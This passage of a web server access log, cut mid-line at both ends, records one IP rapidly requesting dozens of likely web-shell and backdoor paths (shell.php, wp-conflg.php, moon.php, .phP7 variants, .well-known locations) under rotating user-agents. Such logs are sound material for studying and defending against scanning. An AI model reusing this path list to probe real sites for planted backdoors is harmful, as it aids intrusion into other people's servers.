+0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:46 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:46 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:46 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:46 +0300] "GET /chosen.php?upload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:47 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:47 +0300] "GET /wp-includes/css/dist/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:47 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:47 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:47 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:48 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:48 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:48 +0300] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:48 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:49 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:49 +0300] "GET /wordpress/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:40:49 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:40:49 +0300] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:49 +0300] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:50 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:50 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:50 +0300] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:50 +0300] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:51 +0300] "GET /zero.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:51 +0300] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:51 +0300] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:51 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:51 +0300] "GET /db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:52 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:52 +0300] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:52 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:52 +0300] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:52 +0300] "GET /file.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:40:53 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:53 +0300] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:40:53 +0300] "GET /wp-admin/css/colors/sunrise/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:53 +0300] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:53 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:40:54 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:40:54 +0300] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:54 +0300] "GET /.well-known/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:54 +0300] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:55 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:55 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:55 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:55 +0300] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:55 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:56 +0300] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:40:56 +0300] "GET /wp-content/uploads/aves.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:56 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:56 +0300] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:57 +0300] "GET /wp-admin/css/colors/light/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:57 +0300] "GET /.well-known/pki-validation/angu.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:57 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:57 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:58 +0300] "GET /bulk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:40:58 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:40:58 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:40:58 +0300] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:40:58 +0300] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:40:59 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:40:59 +0300] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:40:59 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:40:59 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:40:59 +0300] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:00 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:00 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:00 +0300] "GET /wp-simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:00 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:00 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:01 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:41:01 +0300] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:01 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:01 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:41:02 +0300] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:41:02 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:02 +0300] "GET /wordpress/wp-includes/class-simplepie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:02 +0300] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:03 +0300] "GET /.well-known/pki-validation/file.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:03 +0300] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:03 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:03 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:03 +0300] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:04 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:04 +0300] "GET /header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:04 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:04 +0300] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:05 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:05 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:05 +0300] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:05 +0300] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:05 +0300] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:06 +0300] "GET /.well-known/pki-validation/BSTI.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:06 +0300] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:41:06 +0300] "GET /wp-admin/maint/pongs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:07 +0300] "GET /wp-content/uploads/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:41:07 +0300] "GET /.well-known/acme-challenge/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:07 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:07 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:07 +0300] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:08 +0300] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:08 +0300] "GET /wp-includes/images/votes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:41:08 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:41:08 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:08 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:09 +0300] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:09 +0300] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:09 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:41:09 +0300] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:10 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:41:10 +0300] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:41:10 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac 